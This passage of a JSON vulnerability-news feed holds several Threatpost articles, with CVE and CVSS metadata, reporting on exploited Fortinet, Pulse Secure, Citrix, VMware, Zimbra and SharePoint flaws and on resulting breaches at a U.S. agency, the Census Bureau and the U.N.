now being actively exploited in the wild._\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n", "cvss3": {}, "published": "2020-03-06T16:53:00", "type": "threatpost", "title": "Critical Zoho Zero-Day Flaw Disclosed", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-10189"], "modified": "2020-03-06T16:53:00", "id": "THREATPOST:68F4D33A0EE100B39416EDC76C3A3C9F", "href": "https://threatpost.com/critical-zoho-zero-day-flaw-disclosed/153484/?utm_source=rss&utm_medium=rss&utm_campaign=critical-zoho-zero-day-flaw-disclosed", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-04-16T18:13:10", "description": "The Feds are warning that nation-state actors are once again after U.S. assets, this time in a spate of cyberattacks that exploit five vulnerabilities that affect VPN solutions, collaboration-suite software and virtualization technologies.\n\nAccording to the U.S. National Security Agency (NSA), which issued [an alert Thursday,](<https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2573391/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabili/%20/#pop5008885>) the advanced persistent threat (APT) group [known as APT29](<https://threatpost.com/state-sponsored-hackers-steal-covid-19-vaccine-research/157514/>) (a.k.a. Cozy Bear or The Dukes) is conducting \u201cwidespread scanning and exploitation against vulnerable systems in an effort to obtain authentication credentials to allow further access.\u201d\n\nThe targets include U.S. and allied national-security and government networks, it added.\n\n[](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)\n\nJoin experts from Digital Shadows (Austin Merritt), Malwarebytes (Adam Kujawa) and Sift (Kevin Lee) to find out how cybercrime forums really work. FREE! Register by clicking above.\n\nThe five bugs under active attack are known, fixed security holes in platforms from Citrix, Fortinet, Pulse Secure, Synacor and VMware (detailed below) that organizations should patch immediately, researchers warned.\n\n\u201cSome of these vulnerabilities also have working Metasploit modules and are currently being widely exploited,\u201d said researchers with Cisco Talos, in a [related posting](<https://blog.talosintelligence.com/2021/04/nsa-svr-coverage.html#more>) on Thursday. \u201cPlease note that some of these vulnerabilities exploit applications leveraging SSL. This means that users should enable SSL decryption\u2026to detect exploitation of these vulnerabilities.\u201d\n\nThe NSA has linked APT29 to Russia\u2019s Foreign Intelligence Services (SVR). The news comes as the U.S. formally attributed the recent [SolarWinds supply-chain attack](<https://threatpost.com/solarwinds-orion-bug-remote-code-execution/163618/>) to the SVR and issued sanctions on Russia for cyberattacks and what President Biden called out as interference with U.S. elections.\n\n## **The 5 Vulnerabilities Being Actively Exploited**\n\nAccording to the NSA, the following are under widespread attack in cyber-espionage efforts:\n\n * CVE-2018-13379 Fortinet FortiGate SSL VPN (path traversal)\n * CVE-2019-9670 Synacor Zimbra Collaboration Suite (XXE)\n * CVE-2019-11510 Pulse Secure Pulse Connect Secure VPN (arbitrary file read)\n * CVE-2019-19781 Citrix Application Delivery Controller and Gateway (directory traversal)\n * CVE-2020-4006 VMware Workspace ONE Access (command injection)\n\n\u201cVulnerabilities in two VPN systems, two virtualization platforms and one collaboration solution seem to be a mighty combo,\u201d Dirk Schrader, global vice president of security research at New Net Technologies, told Threatpost. \u201cFour of them are 12 months or older, which is not a good sign for the overall cyber-hygiene in the U.S., given that all are either rated as severe or even critical in NIST\u2019s NVD. It looks like that adversaries can rely on the lack of diligence related to essential cybersecurity control, even more so in pandemic times.\u201d\n\n## **CVE-2018-13379**\n\nA directory traversal vulnerability in Fortinet FortOS allows unauthenticated attackers to access and download system files, by sending specially crafted HTTP resource requests. \u201cThis can result in the attacker obtaining VPN credentials, which could allow an initial foothold into a target network,\u201d according to Cisco Talos.\n\nThe NSA explained that it arises from an improper limitation of a pathname to a restricted directory. It affects Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12.\n\nThe nation-state issue is ongoing: Earlier in April, the FBI and the Cybersecurity and Infrastructure Security Agency (CISA) [warned that](<https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/>) APTs were actively exploiting the bug.\n\n## **CVE-2019-9670**\n\nThis bug is an XML External Entity Injection (XXE) vulnerability in the mailbox component of the Synacore Zimbra Collaboration Suite. Attackers can exploit it to gain access to credentials to further their access or as an initial foothold into a target network. It affects Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10.\n\n## **CVE-2019-11510**\n\nIn Pulse Secure VPNs, a critical arbitrary file-reading flaw opens systems to exploitation from remote, unauthenticated attackers looking to gain access to a victim\u2019s networks. Attacker can send a specially crafted URI to trigger the exploit. It affects Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4.\n\n\u201cThis can be abused by attackers to access sensitive information, including private keys and credentials,\u201d explained Cisco Talos researchers.\n\nLast April, the Department of Homeland Security (DHS) began urging companies that use Pulse Secure VPNs to change their passwords for Active Directory accounts, after several cyberattacks targeted companies who had previously patched a related flaw in the VPN family.\n\nAt the time, DHS [warned that attackers](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) who have already exploited the flaw to snatch up victims\u2019 credentials were using those credentials to move laterally through organizations, rendering patches useless.\n\nThen September, a successful cyberattack on an unnamed federal agency [was attributed to](<https://threatpost.com/feds-cyberattack-data-stolen/159541/>) exploitation of the bug. \u201cIt is possible the cyber-actor obtained the credentials from an unpatched agency VPN server by exploiting a known vulnerability \u2013 CVE-2019-11510 \u2013 in Pulse Secure,\u201d according to CISA\u2019s alert at the time. \u201cCVE-2019-11510\u2026allows the remote, unauthenticated retrieval of files, including passwords. CISA has observed wide exploitation of CVE-2019-11510 across the federal government.\u201d\n\n## **CVE-2019-19781**\n\nThis critical directory-traversal vulnerability in the Citrix Application Delivery Controller (ADC) and Gateway that can allow remote code-execution. It was first disclosed as a zero-day in December 2019, after which Citrix [rolled out patches](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) amidst dozens of proof-of-concept exploits and skyrocketing exploitation attempts.\n\nIt affects Citrix ADC and Gateway versions before 13.0.47.24, 12.1.55.18, 12.0.63.13, 11.1.63.15 and 10.5.70.12 and SD-WAN WANOP 4000-WO, 4100-WO, 5000-WO, and 5100-WO versions before 10.2.6b and 11.0.3b.\n\n## **C****VE-2020-4006**\n\nAnd finally, a command-injection vulnerability in VMWare Workspace One Access, Access Connector, Identity Manager and Identity Manager Connector allows arbitrary command execution on underlying operating systems. A successful exploit does, however, require valid credentials to the configurator admin account, so it must be chained with another bug to use it.\n\nNonetheless, in December the NSA [warned that](<https://threatpost.com/nsa-vmware-bug-under-attack/161985/>) foreign adversaries were zeroing in on exploiting the flaw, despite patches rolling out just days earlier. State actors were using the bug to pilfer protected data and abuse shared authentication systems, it said.\n\nIt affects VMware One Access 20.01 and 20.10 on Linux, VMware Identity Manager 3.3.1 \u2013 3.3.3 on Linux, VMware Identity Manager Connector 3.3.1 \u2013 3.3.3 and 19.03, VMware Cloud Foundation 4.0 \u2013 4.1, and VMware Vrealize Suite Lifecycle Manager 8.x.\n\n## **How Can I Protect Against Cyberattacks?**\n\nThe NSA recommended several best practices to protect organizations from attack:\n\n * Update systems and products as soon as possible after patches are released.\n * Assume a breach will happen; review accounts and leverage the latest eviction guidance available.\n * Disable external management capabilities and set up an out-of-band management network.\n * Block obsolete or unused protocols at the network edge and disable them in client device configurations.\n * Adopt a mindset that compromise happens: Prepare for incident response activities.\n\n\u201cIf publicly known, patchable exploits still have gas in the tank, this is just an indictment against the status-quo disconnect between many organizations\u2019 understanding of risk and basic IT hygiene,\u201d Tim Wade, technical director on the CTO team at Vectra, told Threatpost. \u201cThe unfortunate reality is that for many organizations, the barrier to entry into their network continues to be low-hanging fruit which, for one reason or another, is difficult for organizations to fully manage.\u201d\n\nHe added, \u201cThis underscores why security leaders should assume that for all the best intentions of their technology peers, compromises will occur \u2013 their imperative is to detect, respond and recover from those events to expel adversaries before material damage is realized.\u201d\n\n**_Ever wonder what goes on in underground cybercrime forums? Find out on April 21 at 2 p.m. ET during a _**[**_FREE Threatpost event_**](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)**_, \u201cUnderground Markets: A Tour of the Dark Economy.\u201d Experts from Digital Shadows (Austin Merritt), Malwarebytes (Adam Kujawa) and Sift (Kevin Lee) will take you on a guided tour of the Dark Web, including what\u2019s for sale, how much it costs, how hackers work together and the latest tools available for hackers. _**[**_Register here_**](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)**_ for the Wed., April 21 LIVE event. _**\n", "cvss3": {}, "published": "2021-04-16T18:10:09", "type": "threatpost", "title": "NSA: 5 Security Bugs Under Active Nation-State Cyberattack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-04-16T18:10:09", "id": "THREATPOST:2E607CF584AE6639AC690F7F0CE8C648", "href": "https://threatpost.com/nsa-security-bugs-active-nation-state-cyberattack/165446/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-16T22:09:34", "description": "A federal agency has suffered a successful espionage-related cyberattack that led to a backdoor and multistage malware being dropped on its network.\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) [issued an alert](<https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a>) on Thursday, not naming the agency but providing technical details of the attack. Hackers, it said, gained initial access by using employees\u2019 legitimate Microsoft Office 365 log-in credentials to sign onto an agency computer remotely.\n\n\u201cThe cyber-threat actor had valid access credentials for multiple users\u2019 Microsoft Office 365 (O365) accounts and domain administrator accounts,\u201d according to CISA. \u201cFirst, the threat actor logged into a user\u2019s O365 account from Internet Protocol (IP) address 91.219.236[.]166 and then browsed pages on a SharePoint site and downloaded a file. The cyber-threat actor connected multiple times by Transmission Control Protocol (TCP) from IP address 185.86.151[.]223 to the victim organization\u2019s virtual private network (VPN) server.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAs for how the attackers managed to get their hands on the credentials in the first place, CISA\u2019s investigation turned up no definitive answer \u2013 however, it speculated that it could have been a result of a vulnerability exploit that it said has been rampant across government networks.\n\n\u201cIt is possible the cyber-actor obtained the credentials from an unpatched agency VPN server by exploiting a known vulnerability\u2014CVE-2019-11510\u2014in Pulse Secure,\u201d according to the alert. \u201cCVE-2019-11510\u2026allows the remote, unauthenticated retrieval of files, including passwords. CISA has observed wide exploitation of CVE-2019-11510 across the federal government.\u201d\n\nThe patch was issued in April of 2019, but the Department of Homeland Security (DHS) in April of this year [noted that](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) before the patches were deployed, bad actors were able to compromise Active Directory accounts via the flaw \u2013 so, even those who have patched for the bug could still be compromised and are vulnerable to attack.\n\nAfter initial access, the group set about carrying out reconnaissance on the network. First they logged into an agency O365 email account to view and download help-desk email attachments with \u201cIntranet access\u201d and \u201cVPN passwords\u201d in the subject lines \u2013 and it uncovered Active Directory and Group Policy key, changing a registry key for the Group Policy.\n\n\u201cImmediately afterward, the threat actor used common Microsoft Windows command line processes\u2014conhost, ipconfig, net, query, netstat, ping and whoami, plink.exe\u2014to enumerate the compromised system and network,\u201d according to CISA.\n\nThe next step was to connect to a virtual private server (VPS) through a Windows Server Message Block (SMB) client, using an alias secure identifier account that the group had previously created to log into it; then, they executed plink.exe, a remote administration utility.\n\nAfter that, they connected to command-and-control (C2), and installed a custom malware with the file name \u201cinetinfo.exe.\u201d The attackers also set up a locally mounted remote share, which \u201callowed the actor to freely move during its operations while leaving fewer artifacts for forensic analysis,\u201d CISA noted.\n\nThe cybercriminals, while logged in as an admin, created a scheduled task to run the malware, which turned out to be a dropper for additional payloads.\n\n\u201cinetinfo.exe is a unique, multi-stage malware used to drop files,\u201d explained CISA. \u201cIt dropped system.dll and 363691858 files and a second instance of inetinfo.exe. The system.dll from the second instance of inetinfo.exe decrypted 363691858 as binary from the first instance of inetinfo.exe. The decrypted 363691858 binary was injected into the second instance of inetinfo.exe to create and connect to a locally named tunnel. The injected binary then executed shellcode in memory that connected to IP address 185.142.236[.]198, which resulted in download and execution of a payload.\u201d\n\nIt added, \u201cThe cyber-threat actor was able to overcome the agency\u2019s anti-malware protection, and inetinfo.exe escaped quarantine.\u201d\n\nCISA didn\u2019t specify what the secondary payload was \u2013 Threatpost has reached out for additional information.\n\nThe threat group meanwhile also established a backdoor in the form of a persistent Secure Socket Shell (SSH) tunnel/reverse SOCKS proxy.\n\n\u201cThe proxy allowed connections between an attacker-controlled remote server and one of the victim organization\u2019s file servers,\u201d according to CISA. \u201cThe reverse SOCKS proxy communicated through port 8100. This port is normally closed, but the attacker\u2019s malware opened it.\u201d\n\nA local account was then created, which was used for data collection and exfiltration. From the account, the cybercriminals browsed directories on victim file servers; copied files from users\u2019 home directories; connected an attacker-controlled VPS with the agency\u2019s file server (via a reverse SMB SOCKS proxy); and exfiltrated all the data using the Microsoft Windows Terminal Services client.\n\nThe attack has been remediated \u2013 and it\u2019s unclear when it took place. CISA said that it\u2019s intrusion-detection system was thankfully able to eventually flag the activity, however.\n\n\u201cCISA became aware\u2014via EINSTEIN, CISA\u2019s intrusion-detection system that monitors federal civilian networks\u2014of a potential compromise of a federal agency\u2019s network,\u201d according to the alert. \u201cIn coordination with the affected agency, CISA conducted an incident response engagement, confirming malicious activity.\u201d\n", "cvss3": {}, "published": "2020-09-24T20:47:40", "type": "threatpost", "title": "Feds Hit with Successful Cyberattack, Data Stolen", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510"], "modified": "2020-09-24T20:47:40", "id": "THREATPOST:3E47C166057EC7923F0BBBE4019F6C75", "href": "https://threatpost.com/feds-cyberattack-data-stolen/159541/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-08-19T14:50:21", "description": "Threat actors exploited an [unpatched Citrix flaw](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) to breach the network of the U.S. Census Bureau in January in an attack that was ultimately halted before a backdoor could be installed or sensitive data could be stolen, according [to a report](<https://www.oig.doc.gov/OIGPublications/OIG-21-034-A.pdf>) by a government watchdog organization.\n\nHowever, investigators found that officials were informed of the flaw in its servers and had at least two opportunities to fix it before the attack, mainly due to lack of coordination between teams responsible for different security tasks, according to the report, published Tuesday by the U.S. Department of Commerce Office of Inspector General. The bureau also lagged in its discovery and reporting of the attack after it happened.\n\nThe report details and reviews the incident that occurred on Jan. 11, 2020, when attackers used the publicly available exploit for a critical flaw to target remote-access servers operated by the bureau. \n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>) \nCitrix released a public notice about the zero-day flaw\u2014tracked as [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\u2013in December. In January, a representative from the bureau\u2019s Computer Incident Response Team (CIRT_ attended two meetings in which the flaw was discussed and attendees even received a link to steps to use fixes which already had been issued by Citrix.\n\n\u201cDespite the publicly available notices released in December and attending two meetings on the issue in January, the bureau CIRT did not coordinate with the team responsible for implementing these mitigation steps until after the servers had been attacked,\u201d according to the report. Doing so could have prevented the attack, investigators noted.\n\n## **\u2018Partially Successful\u2019 Attack**\n\nThe Citrix products affected by the flaw\u2013[discovered](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>) by Mikhail Klyuchnikov, a researcher at Positive Technologies\u2014are used for application-aware traffic management and secure remote access, respectively. At least 80,000 organizations in 158 countries\u2014about 38 percent in the U.S.\u2014use these products, formerly called NetScaler ADC and Gateway.\n\nThe initial compromise at the Census Bureau was on servers used to provide the bureau\u2019s enterprise staff with remote-access capabilities to production, development and lab networks. The servers did not provide access to 2020 decennial census networks, officials told investigators.\n\n\u201cThe exploit was partially successful, in that the attacker modified user account data on the systems to prepare for remote code execution,\u201d according to the report. \u201cHowever, the attacker\u2019s attempts to maintain access to the system by creating a backdoor into the affected servers were unsuccessful.\u201d\n\nAttackers were able to make unauthorized changes to the remote-access servers, including the creation of new user accounts, investigators reported. However, the bureau\u2019s firewalls blocked the attacker\u2019s attempts to establish a backdoor to communicate with the attacker\u2019s external command and control infrastructure.\n\n## **Other Mistakes**\n\nAnother security misstep the bureau took that could have mitigated the attack before it even happened was that it was not conducting vulnerability scanning of the remote-access servers as per federal standards and Commerce Department policy, according to the OIG.\n\n\u201cWe found that the bureau vulnerability scanning team maintained a list of devices to be scanned,\u201d investigators wrote. \u201cHowever, the remote-access servers were not included on the list, and were therefore not scanned. This occurred because the system and vulnerability scanning teams had not coordinated the transfer of system credentials required for credentialed scanning.\u201d\n\nThe bureau also made mistakes after the attack by not discovering nor reporting the incident in a timely manner, the OIG found.\n\nIT administrators were not aware that servers were compromised until Jan. 28, more than two weeks after the attack, because the bureau was not using a a security information and event management tool (SIEM) to proactively alert incident responders of suspicious network traffic, investigators found.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-19T14:35:49", "type": "threatpost", "title": "Postmortem on U.S. Census Hack Exposes Cybersecurity Failures", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-08-19T14:35:49", "id": "THREATPOST:816C2C5C3414F66AD1638248B7321FA1", "href": "https://threatpost.com/postmortem-on-u-s-census-hack-exposes-cybersecurity-failures/168814/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-16T23:29:10", "description": "Hackers breached the United Nations network in July by exploiting a Microsoft SharePoint vulnerability, according to reports. The breach, which appears to be an espionage operation, reportedly gave the hackers access to an estimated 400 GB of sensitive data.\n\nThe breach was swept under the rug by the U.N. until this week, when an internal document outlining the hack was [leaked by The New Humanitarian](<https://www.thenewhumanitarian.org/investigation/2020/01/29/united-nations-cyber-attack>), a global news agency focusing on human rights stories. According to the confidential document, at least 42 U.N. servers were compromised in Geneva and Vienna, potentially exposing staff personnel data and sensitive documents for other organizations collaborating with the U.N.\n\n\u201cAlthough it is unclear what documents and data the hackers obtained in the 2019 incident, the report\u2026 implies that internal documents, databases, emails, commercial information and personal data may have been available to the intruders \u2013 sensitive data that could have far-reaching repercussions for staff, individuals and organisations communicating with and doing business with the U.N.,\u201d Ben Parker, with The New Humanitarian, said on Wednesday.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAccording to [the Associated Press](<https://apnews.com/0d958e15d7f5081dd612f07482f48b73>), which also viewed the internal document, the breach stemmed from an exploit of a flaw in Microsoft\u2019s SharePoint software. This remote code-execution vulnerability ([CVE-2019-0604](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0604>)) was patched in March \u2014 however, the U.N. reportedly did not update its systems.\n\n## The Hack\n\nServers in three separate locations were compromised: the U.N. office at Vienna; the U.N. office at Geneva; and the U.N. Office of the High Commissioner for Human Rights (OHCHR) headquarters, also in Geneva.\n\nWhile the specific data that was compromised is unclear, the document implies that staff records, health insurance and commercial contract data were compromised. The hack also impacted the U.N. human rights office, which collects data that\u2019s used for exposing human rights abuses. The document also reportedly suggests the hack most seriously affected the U.N.\u2019s office in Geneva, which includes 1,600 staff working in a range of political and development units, including those focused on Syrian peace talks, the humanitarian coordination office (OCHA) and the Economic Commission for Europe.\n\nIn a statement sent to Threatpost, the U.N. said that no sensitive data was accessed in the data breach. It said that once it became aware of the attack, it took action to shut down the affected development servers.\n\n\u201cAlthough hackers accessed a self-contained part of our system in July 2019, the development servers they accessed did not hold any sensitive data or confidential information,\u201d according to the U.N.\u2019s statement. \u201cThe hackers did manage to access our Active User Directory, which contains the user IDs for our staff and devices. However, they did not succeed in accessing passwords. Nor did they gain access to other parts of the system.\u201d\n\nThe type of malware utilized, and the command and control (C2) servers used to exfiltrate data, is unknown. The identity of the hackers, as well as the extent of the data collected, is also unknown. However, the security experts that Threatpost talked to said that the attack was likely launched by a sophisticated threat actor.\n\n\u201cGiven the fact that it would be so heavily targeted, it is unfortunate that the U.N. appears to not have the basic security hygiene in place to ward off commodity threats, let alone state-backed actors,\u201d said Richard Gold, head of security engineering at Digital Shadows. \u201cHaving confidence that you have fully evicted a threat group from a network is hard to come by, especially when the fundamentals of network security are not in place.\u201d\n\n## Lack of Alert\n\nSenior U.N. officials did not notify anyone \u2013 even their own staff \u2013 about the breach. U.N. staff members were only asked to change their passwords.\n\nWhile most organizations are held to regulatory standards that require them to disclose data breaches, [like the GDPR](<https://threatpost.com/data-breach-fines-consumer-safety/149956/>), the UN has [diplomatic immunity](<https://legal.un.org/avl/ha/vcdr/vcdr.html>), meaning that it is not obliged to divulge what was obtained by the hackers or notify those affected.\n\nHowever, security experts like Kevin Beaumont are decrying the agency\u2019s secrecy around the data breach.\n\n\u201cI don\u2019t know what the culture is at the U.N., but they probably need to pivot to more transparency for cybersecurity, this would have been a non-story and benefit to all if they had been open about the issue,\u201d said Beaumont on Twitter.\n\n> I don\u2019t know what the culture is at the UN but they probably need to pivot to more transparency for cybersecurity, this would have been a nonstory and benefit to all if they had been open about the issue.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [January 30, 2020](<https://twitter.com/GossiTheDog/status/1222800076755607552?ref_src=twsrc%5Etfw>)\n\nThe New Humanitarian said that the decision not to notify impacted parties \u2013 even its own staff personnel \u2013 marks a \u201cbreach of trust\u201d for all involved.\n\n\u201cNo matter what exactly was exposed, the decision not to notify all the people or organizations whose data may have been compromised \u2013 including U.N. staff \u2013 risks damaging trust in the U.N. as an institution, and so its effectiveness, according to human rights and privacy analysts.\u201d\n\nThe U.N. is constantly being targeted by cybercriminals. For instance, in October, researchers said that a [mobile-focused phishing campaign](<https://threatpost.com/un-unicef-red-cross-mobile-attack/149556/>) was targeting the body. And earlier this month, researchers said that the [operators behind Emotet](<https://threatpost.com/un-weathers-emotet-trickbot-malware/151894/>) had taken aim at U.N. personnel in a targeted attack.\n\n\u201cThe news that the United Nations was the victim of an advanced persistent threat (APT), likely state-sponsored, for the purposes of espionage, is not all that surprising,\u201d Rui Lopes, engineering and technical support director at Panda Security, told Threatpost. \u201cThe U.N. maintains critical data at a global scale that multiple states and organizations would like to have their hands on, and this level of sophistication is indicative of that purpose.\u201d\n", "cvss3": {}, "published": "2020-01-30T16:02:58", "type": "threatpost", "title": "U.N. Hack Stemmed From Microsoft SharePoint Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0604"], "modified": "2020-01-30T16:02:58", "id": "THREATPOST:88C99763683E42B94F1E7D307C0D9904", "href": "https://threatpost.com/un-hack-microsoft-sharepoint-flaw/152378/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-04-11T11:47:28", "description": "A recently patched, high-severity vulnerability in Microsoft SharePoint (CVE-2019-0604) that allows remote code-execution is being increasingly exploited in the wild, according to researchers \u2013 possibly by the FIN7 group, among others.\n\nAccording to the [Microsoft\u2019s advisory](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0604>), the vulnerability (which carries a 7.8 CVSS v.3.0 score) exists because the software fails to check the source markup of an application package \u2013 Microsoft issued a patch in March.\n\nThe Canadian Cyber Security Centre in April [warned](<https://cyber.gc.ca/en/alerts/china-chopper-malware-affecting-sharepoint-servers>) that the bug is being exploited in Canada, using \u201cthe tiny China Chopper web-shell to gain an initial foothold.\u201d But efforts appear to be escalating. A [report](<https://www.ncsc.gov.sa/wps/portal/ncsc/home/Alerts/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziDQ1dLDyM3A18_M29XQwcnQKD3UyN3Y0dfQ30w8EKDDxNTDwMTYy8_YMMDAwcjcM8PIwtnA0N3I31o4jRj0cBSL8BDuAI0h8FUYLLBUYwBbjNKMgNjTDIdFQEAHmubTA!/dz/d5/L2dBISEvZ0FBIS9nQSEh/>) Friday from the Saudi Cyber Security Centre (NCA) warned of attacks happening across the Kingdom, also using the one-line China Chopper.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cIn the last two weeks, NCA has observed evidence of multiple organizations that have been impacted and infected by the active exploitation of the CVE-2019-0604, a vulnerability that can grant remote code execution were the threat actors exploits this vulnerability and use the Command Prompt to implant the known China Chopper web-shell,\u201d the NCA said. \u201cThe threat actors through the vulnerability runs the command prompt and writes the\u2026web-shell in all available folders in the SharePoint server.\u201d\n\nFrom there, the attackers utilize the web-shell to install other PowerShell scripts to move laterally and begin internal reconnaissance in the victim network. Second-stage payloads include a \u201cnew, custom backdoor,\u201d according to the NCA.\n\nFollowing on this, AT&T Alien Labs has also identified additional attacks that exploit the bug, dropping a second-stage binary related to those attacks. The malicious code can carry out remote code-execution, data exfiltration and downloads of more malware.\n\n\u201c[One] malware sample was shared by a target in China,\u201d Chris Doman, researcher at Alien Labs, said in [a posting](<https://www.alienvault.com/blogs/labs-research/sharepoint-vulnerability-exploited-in-the-wild/>) on Friday. \u201c[It] is likely an earlier version of the second-stage malware deployed in the Saudi intrusions.\u201d\n\nIn looking at the Saudi attacks, \u201cthe attackers are reasonably capable,\u201d Doman added via email. \u201cThe malware waits for encrypted commands from an attacker \u2013 rather than noisily reaching out to an attacker\u2019s command-and-control server. And they haven\u2019t left any obvious indicators of their location in the malware or servers. The Saudi report mentioned the attackers looking for Exchange and SQL servers \u2013 that would fit with attackers looking for information.\u201d\n\nDoman also said that Alien Labs believes there are multiple attackers now using exploiting the vulnerability \u2013 including potentially the FIN7 cybercrime gang. Since 2015, FIN7 has targeted point-of-sale systems at casual-dining restaurants, casinos and hotels. The group [typically uses](<https://threatpost.com/fin7-hitting-restaurants-with-fileless-malware/126213/>) malware-laced phishing attacks against victims in hopes they will be able to infiltrate systems to steal bank-card data and sell it. Its choice of malware is always evolving, including occasionally using [never-before-seen samples](<https://threatpost.com/fin7-ramps-up-campaigns-with-two-fresh-malware-samples/142975/>) that surprise researchers.\n\nDoman explained the SharePoint attacks\u2019 connection to the group: \u201cOne user on Twitter has reported that they have seen exploitation from the IP address 194.36.189[.]177 \u2013 which we have also seen acting as a command-and-control server for malware linked to FIN7.\u201d\n\nDoman added via e-mail that while there might be multiple attackers, the exploit itself isn\u2019t particularly widely used at this point.\n\n\u201cRecent server-side vulnerabilities like the [Atlassian Confluence](<https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html>) vulnerability and [Oracle Weblogic vulnerabilities](<https://threatpost.com/oracle-weblogic-exploit-gandcrab-xmrig/144419/>) are being exploited very widely by a number of groups, for cryptomining and ransomware gangs,\u201d he said. \u201cIn contrast, I\u2019ve seen few reports of this SharePoint vulnerability being exploited so far,\u201d including \u201ca couple of Twitter users in the U.S.\u201d\n\nThe Saudis warned that they expect snowballing attacks however in the short term: \u201cThreat actors with varying motivations are often quick to weaponize PoC code following public disclosures. This swift exploitation ultimately increases the likelihood that their campaigns will be successful. Therefore, it is critical that organizations with a SharePoint installation should apply the published security updates.\u201d\n\n**_Want to know more about Identity Management and navigating the shift beyond passwords? Don\u2019t miss _[_our Threatpost webinar on May 29 at 2 p.m. ET_](<https://attendee.gotowebinar.com/register/8039101655437489665?source=ART>)_. Join Threatpost editor Tom Spring and a panel of experts as they discuss how cloud, mobility and digital transformation are accelerating the adoption of new Identity Management solutions. Experts discuss the impact of millions of new digital devices _**\n", "cvss3": {}, "published": "2019-05-10T21:29:27", "type": "threatpost", "title": "FIN7 Linked to Escalating Active Exploits for Microsoft SharePoint Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0604"], "modified": "2019-05-10T21:29:27", "id": "THREATPOST:157F244C629A1657480AFA561FF77BE4", "href": "https://threatpost.com/fin7-active-exploits-sharepoint/144628/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-04-08T11:51:59", "description": "An array of customized attack tools are helping the MuddyWater advanced persistent threat (APT) group to successfully exfiltrate data from its governmental and telco targets in the Middle East; an analysis of this toolset reveals a moderately sophisticated threat actor at work \u2013 with the potential to get even more dangerous over time.\n\nAn analysis from Kaspersky Lab released Monday shows that post-infection, the gang reaches for multiple, relatively simple and expendable tools 